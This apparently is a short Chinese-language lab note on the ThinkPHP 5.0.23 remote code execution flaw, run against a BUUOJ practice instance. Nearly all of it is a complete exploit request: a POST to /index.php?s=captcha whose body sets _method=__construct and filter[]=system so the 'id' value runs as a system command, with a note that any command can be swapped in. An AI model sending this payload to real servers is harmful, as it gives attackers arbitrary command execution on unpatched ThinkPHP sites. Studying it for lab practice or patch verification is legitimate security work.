[ThinkPHP]5.0.23-Rce
環境搭建
POC
老懶狗選擇直接buu,鏈接
http://node3.buuoj.cn:27512/
直接用poc打一下:
POST /index.php?s=captcha HTTP/1.1
Host: node3.buuoj.cn:27512
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
直接在burp的repeater模塊里面構造就行了:
exp
這里直接修改id即可,id處可以執行任意代碼。